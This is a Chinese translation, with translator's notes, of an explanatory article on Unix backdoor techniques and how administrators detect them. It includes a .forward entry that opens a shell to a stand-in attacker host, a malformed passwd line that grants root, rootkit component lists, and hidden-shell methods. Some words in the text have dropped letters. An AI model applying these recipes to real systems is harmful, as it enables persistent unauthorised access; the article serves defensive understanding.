解析:
當壹個訓練有素的程序員設計壹個功能較復雜的軟件時,都習慣於先將整個軟件分割為若幹模塊,然後再對各模塊單獨設計、調試,而後門則是壹個模塊的秘密入口。在程序開發期間,後門的存在是為了便於測試、更改和增強模塊的功能。當然,程序員壹般不會把後門記入軟件的說明文檔,因此用戶通常無法了解後門的存在。
/按照正常操作程序,在軟件交付用戶之前,程序員應該去掉軟件模塊中的後門,但是,由於程序員的疏忽,或者故意將其留在程序中以便日後可以對此程序進行隱蔽的訪問,方便測試或維護已完成的程序等種種原因,實際上並未去掉。
這樣,後門就可能被程序的作者所秘密使用,也可能被少數別有用心的人用窮舉搜索法發現利用。
cache.baidu/c?word=%CA%B2%C3%B4%3B%CA%C7%3B%BA%F3%C3%C5&url=%3A%2Exiaom%2E/Article%5Fshow%2Easp%3FArticleID%3D4777&b=0&a=29&user=baidu
什麽是後門?
從早期的計算機入侵者開始,他們就努力發展能使自己重返被入侵系統的技術或後門.本文將討論許多常見的後門及其檢測方法. 更多的焦點放在Unix系統的後門,同時討論壹些未來將會出現的Windows NT的後門. 本文將描述如何測定入侵者使用的方法這樣的復雜內容和管理員如何防止入侵者重返的基礎知識. 當管理員懂的壹旦入侵者入侵後要制止他們是何等之難以後, 將更主動於預防第壹次入侵. 本文試圖涉及大量流行的初級和高級入侵者制作後門的手法, 但不會也不可能覆蓋到所有可能的方法.
大多數入侵者的後門實現以下二到三個目的:
即使管理員通過改變所有密碼類似的方法來提高安全性,仍然能再次侵入. 使再次侵入被發現的可能性減至最低.大多數後門設法躲過日誌, 大多數情況下即使入侵者正在使用系統也無法顯示他已在線. 壹些情況下, 如果入侵者認為管理員可能會檢測到已經安裝的後門, 他們以系統的 脆弱性作為唯壹的後門, 重而反復攻破機器. 這也不會引起管理員的註意. 所以在 這樣的情況下,壹臺機器的脆弱性是它唯壹未被註意的後門.
密碼破解後門
這是入侵者使用的最早也是最老的方法, 它不僅可以獲得對Unix機器的訪問, 而且可以通過破解密碼制造後門. 這就是破解口令薄弱的帳號. 以後即使管理員封了入侵者的當前帳號,這些新的帳號仍然可能是重新侵入的後門. 多數情況下, 入侵者尋找口令薄弱的未使用帳號,然後將口令改的難些. 當管理員尋找口令薄弱的帳號是, 也不會發現這些密碼已修改的帳號.因而管理員很難確定查封哪個帳號.
Rhosts + + 後門
在連網的Unix機器中,象Rsh和Rlogin這樣的服務是基於rhosts文件裏的主機名使用簡單的認證方法. 用戶可以輕易的改變設置而不需口令就能進入. 入侵者只要向可以訪問的某用戶的rhosts文件中輸入"+ +", 就可以允許任何人從任何地方無須口令便能進入這個帳號. 特別當home目錄通過NFS向外***享時, 入侵者更熱中於此. 這些帳號也成了入侵者再次侵入的後門. 許多人更喜歡使用Rsh, 因為它通常缺少日誌能力. 許多管
理員經常檢查 "+ +", 所以入侵者實際上多設置來自網上的另壹個帳號的主機名和用戶名,從而不易被發現.
校驗和及時間戳後門
早期,許多入侵者用自己的trojan程序替代二進制文件. 系統管理員便依*時間戳和系統校驗和的程序辨別壹個二進制文件是否已被改變, 如Unix裏的sum程序. 入侵者又發展了使trojan文件和原文件時間戳同步的新技術. 它是這樣實現的: 先將系統時鐘撥回到原文件時間, 然後調整trojan文件的時間為系統時間. 壹旦二進制trojan文件與原來的精確同步, 就可以把系統時間設回當前時間. sum程序是基於CRC校驗, 很容易
騙過.入侵者設計出了可以將trojan的校驗和調整到原文件的校驗和的程序. MD5是被大多數人推薦的,MD5使用的算法目前還沒人能騙過.
Login後門
在Unix裏,login程序通常用來對tel來的用戶進行口令驗證. 入侵者獲取login.c的原代碼並修改,使它在比較輸入口令與存儲口令時先檢查後門口令. 如果用戶敲入後門口令,它將忽視管理員設置的口令讓妳長驅直入. 這將允許入侵者進入任何帳號,甚至是root.由於後門口令是在用戶真實登錄並被日誌記錄到utmp和wtmp前產生壹個訪問的, 所以入侵者可以登錄獲取shell卻不會暴露該帳號. 管理員註意到這種後門後, 便
用"strings"命令搜索login程序以尋找文本信息. 許多情況下後門口令會原形畢露.入侵者就開始加密或者更好的隱藏口令, 使strings命令失效. 所以更多的管理員是用MD5校驗和檢測這種後門的.
Teld後門
當用戶tel到系統, 監聽端口的id服務接受連接隨後遞給in.teld,由它運行login.壹些入侵者知道管理員會檢查login是否被修改, 就著手修改in.teld.在in.teld內部有壹些對用戶信息的檢驗, 比如用戶使用了何種終端. 典型的終端設置是Xterm或者VT100.入侵者可以做這樣的後門, 當終端設置為"letmein"時產生壹個不要任何驗證的shell. 入侵者已對某些服務作了後門, 對來自特定源端口的連接產
生壹個shell .
服務後門
幾乎所有網絡服務曾被入侵者作過後門. finger, rsh, rexec, rlogin, ftp, 甚至id等等的作了的版本隨處多是. 有的只是連接到某個TCP端口的shell,通過後門口令就能獲取訪問.這些程序有時用刺媧□?ucp這樣不用的服務,或者被加入id.conf作為壹個新的服務.管理員應該非常註意那些服務正在運行, 並用MD5對原服務程序做校驗.
Cronjob後門
Unix上的Cronjob可以按時間表調度特定程序的運行. 入侵者可以加入後門shell程序使它在1AM到2AM之間運行,那麽每晚有壹個小時可以獲得訪問. 也可以查看cronjob中經常運行的合法程序,同時置入後門.
庫後門
幾乎所有的UNIX系統使用***享庫. ***享庫用於相同函數的重用而減少代碼長度. 壹些入侵者在象crypt.c和_crypt.c這些函數裏作了後門. 象login.c這樣的程序調用了crypt(),當使用後門口令時產生壹個shell. 因此, 即使管理員用MD5檢查login程序,仍然能產生壹個後門函數.而且許多管理員並不會檢查庫是否被做了後門.對於許多入侵者來說有壹個問題: 壹些管理員對所有東西多作了MD5校驗. 有壹種辦法是入侵者對open()和文件訪問函數做後門. 後門函數讀原文件但執行trojan後門程序. 所以 當MD5讀這些文件時,校驗和壹切正常. 但當系統運行時將執行trojan版本的. 即使trojan庫本身也可躲過MD5校驗. 對於管理員來說有壹種方法可以找到後門, 就是靜態編連MD5校驗程序然後運行.靜態連接程序不會使用trojan***享庫.
內核後門
內核是Unix工作的核心. 用於庫躲過MD5校驗的方法同樣適用於內核級別,甚至連靜態連接多不能識別. 壹個後門作的很好的內核是最難被管理員查找的, 所幸的是內核的後門程序還不是隨手可得, 每人知道它事實上傳播有多廣.
文件系統後門
入侵者需要在服務器上存儲他們的掠奪品或數據,並不能被管理員發現. 入侵者的文章常是包括exploit腳本工具,後門集,sniffer日誌,email的備分,原代碼,等等. 有時為了防止管理員發現這麽大的文件, 入侵者需要修補"ls","du","fsck"以隱匿特定的目錄和文件.在很低的級別, 入侵者做這樣的漏洞: 以專有的格式在硬盤上割出壹部分,且表示為壞的扇區. 因此入侵者只能用特別的工具訪問這些隱藏的文件. 對於普通的
管理員來說, 很難發現這些"壞扇區"裏的文件系統, 而它又確實存在.
Boot塊後門
在PC世界裏,許多病毒藏匿與根區, 而殺病毒軟件就是檢查根區是否被改變. Unix下,多數管理員沒有檢查根區的軟件, 所以壹些入侵者將壹些後門留在根區.
隱匿進程後門
入侵者通常想隱匿他們運行的程序. 這樣的程序壹般是口令破解程序和監聽程序 (sniffer).有許多辦法可以實現,這裏是較通用的: 編寫程序時修改自己的argv[]使它看起來象其他進程名. 可以將sniffer程序改名類似in.syslog再執行. 因此當管理員用"ps"檢查運行進程時, 出現 的是標準服務名. 可以修改庫函數致使
"ps"不能顯示所有進程. 可以將壹個後門或程序嵌入中斷驅動程序使它不會在進程表顯現. 使用這個技術的壹個後門例子是amod.tar.gz :
star.niimm.spb.su/~maillist/bugtraq.1/0777
也可以修改內核隱匿進程.
Rootkit
最流行的後門安裝包之壹是rootkit. 它很容易用web搜索器找到.從Rootkit的README裏,可以找到壹些典型的文件:
z2 - removes entries from utmp, wtmp, and lastlog.
Es - rokstar's ether sniffer for sun4 based kernels.
Fix - try to fake checksums, install with same dates/perms/u/g.
Sl - bee root via a magic password sent to login.
Ic - modified ifconfig to remove PROMISC flag from output.
ps: - hides the processes.
Ns - modified stat to hide connections to certain machines.
Ls - hides certain directories and files from being listed.
du5 - hides how much space is being used on your hard drive.
ls5 - hides certain files and directories from being listed.
網絡通行後門
入侵者不僅想隱匿在系統裏的痕跡, 而且也要隱匿他們的網絡通行. 這些網絡通行後門有時允許入侵者通過防火墻進行訪問. 有許多網絡後門程序允許入侵者建立某個端口號並不用通過普通服務就能實現訪問. 因為這是通過非標準網絡端口的通行, 管理員可能忽視入侵者的足跡. 這種後門通常使用TCP,UDP和ICMP, 但也可能是其他類型報文.
TCP Shell 後門
入侵者可能在防火墻沒有阻塞的高位TCP端口建立這些TCP Shell後門. 許多情況下,他們用口令進行保護以免管理員連接上後立即看到是shell訪問. 管理員可以用stat命令查看當前的連接狀態, 那些端口在偵聽, 目前連接的來龍去脈. 通常這些後門可以讓入侵者躲過TCP Wrapper技術. 這些後門可以放在SMTP端口, 許多防火墻允許e-mail通行的.
UDP Shell 後門
管理員經常註意TCP連接並觀察其怪異情況, 而UDP Shell後門沒有這樣的連接, 所以stat不能顯示入侵者的訪問痕跡. 許多防火墻設置成允許類似DNS的UDP報文的通行. 通常入侵者將UDP Shell放置在這個端口, 允許穿越防火墻.
ICMP Shell 後門
Ping是通過發送和接受ICMP包檢測機器活動狀態的通用辦法之壹. 許多防火墻允許外界ping它內部的機器. 入侵者可以放數據入Ping的ICMP包, 在ping的機器間形成壹個shell通道. 管理員也許會註意到Ping包暴風, 但除了他查看包內數據, 否者入侵者不會暴露.
加密連接
管理員可能建立壹個sniffer試圖某個訪問的數據, 但當入侵者給網絡通行後門加密後,就不可能被判定兩臺機器間的傳輸內容了.
Windows NT
由於Windows NT不能輕易的允許多個用戶象Unix下訪問壹臺機器, 對入侵者來說就很難闖入Windows NT,安裝後門,並從那裏發起攻擊. 因此妳將更頻繁地看到廣泛的來自Unix的網絡攻擊. 當Windows NT提高多用戶技術後, 入侵者將更頻繁地利用 WindowsNT.如果這壹天真的到來, 許多Unix的後門技術將移植到Windows NT上, 管理員可以等候入侵者的到來. 今天, Windows NT已經有了tel守護程序. 通過網絡通行後門, 入侵者發現在Windows NT安裝它們是可行的. ( With Neork Traffic
backdoors, theyarevery feasible for intruders to install on Windows NT. 此處該如何翻譯? :(
解決
當後門技術越先進, 管理員越難於判斷入侵者是否侵入後者他們是否被成功封殺.
評估
首先要做的是積極準確的估計妳的網絡的脆弱性, 從而判定漏洞的存在且修復之.許多商業工具用來幫助掃描和查核網絡及系統的漏洞. 如果僅僅安裝提供商的安全補丁的話,許多公司將大大提高安全性.
MD5基準線
壹個系統(安全)掃描的壹個重要因素是MD5校驗和基準線. MD5基準線是在黑客入侵前由幹凈系統建立. 壹旦黑客入侵並建立了後門再建立基準線, 那麽後門也被合並進去了.壹些公司被入侵且系統被安置後門長達幾個月.所有的系統備份多包含了後門. 當公司發現有黑客並求助備份祛除後門時, 壹切努力是徒勞的, 因為他們恢復系統的同時也恢復了後門. 應該在入侵發生前作好基準線的建立.
入侵檢測
隨著各種組織的上網和允許對自己某些機器的連接,入侵檢測正變的越來越重要.以前多數入侵檢測技術是基於日誌型的. 最新的入侵檢測系統技術(IDS)是基於實時偵聽和網絡通行安全分析的. 最新的IDS技術可以瀏覽DNS的UDP報文, 並判斷是否符合DNS協議請求. 如果數據不符合協議, 就發出警告信號並抓取數據進行進壹步分析. 同樣的原則可以運用到ICMP包, 檢查數據是否符合協議要求, 或者是否裝載加密shell會話.
從CD-ROM啟動
壹些管理員考慮從CD-ROM啟動從而消除了入侵者在CD-ROM上做後門的可能性.這種方法的問題是實現的費用和時間夠企業面臨的.
警告
由於安全領域變化之快, 每天有新的漏洞被公布, 而入侵者正不斷設計新的攻擊和安置後門技術, 安枕無憂的安全技術是沒有的.請記住沒有簡單的防禦,只有不懈的努力!
( Be aware that no defense is foolproof, and that there is no substitute for
diligent attention. 此句該如何翻譯? :( )
-------------------------------------------------------------------------
you may want to add:
.forward Backdoor
On Unix machines, placing mands into the .forward file was also
a mon method of regaining access. For the account ``username''
a .forward file might be constructed as follows:
\username
|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e
/bin/sh"
permutations of this method include alteration of the systems mail
aliases file (most monly located at /etc/aliases). Note that
this is a simple permutation, the more advanced can run a simple
script from the forward file that can take arbitrary mands via
stdin (after minor preprocessing).
PS: The above method is also useful gaining access a panies
mailhub (assuming there is a shared a home directory FS on
&nbs>
the client and server).
> Using *** rsh can effectively negate this backdoor (although it's quite
> possibly still a problem if you allow things like elm's filter or
> procmail which can run programs themselves...).
妳也許要增加:
.forward後門
Unix下在.forward文件裏放入命令是重新獲得訪問的常用方法. 帳戶'username'的.forward可能設置如下:
\username
|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e/bin/sh"
這種方法的變形包括改變系統的mail的別名文件(通常位於/etc/aliases). 註意這只是壹種簡單的變換. 更為高級的能夠從.forward中運行簡單腳本實現在標準輸入執行任意命令(小部分預處理後).>利用 *** rsh可以有效的制止這種後門(雖然如果允許可以自運行的elm's filter或 procmail>類程序, 很有可能還有問題 ......)
( 此段的內容理解不深, 故付上英文, 請指教! )
---------------------------------------------------------------------------
妳也許能用這個"特性"做後門:
當在/etc/password裏指定壹個錯誤的uid/gid後, 大多數login(1)的實現是不能檢查出這個錯誤的uid/gid, 而atoi(3)將設uid/gid為0, 便給了超級用戶的權利.
例子:
rmartin:x:x50:50:R. Martin:/home/rmartin:/bin/tcsh
在Linux裏,這將把用戶rmartin的uid設為0.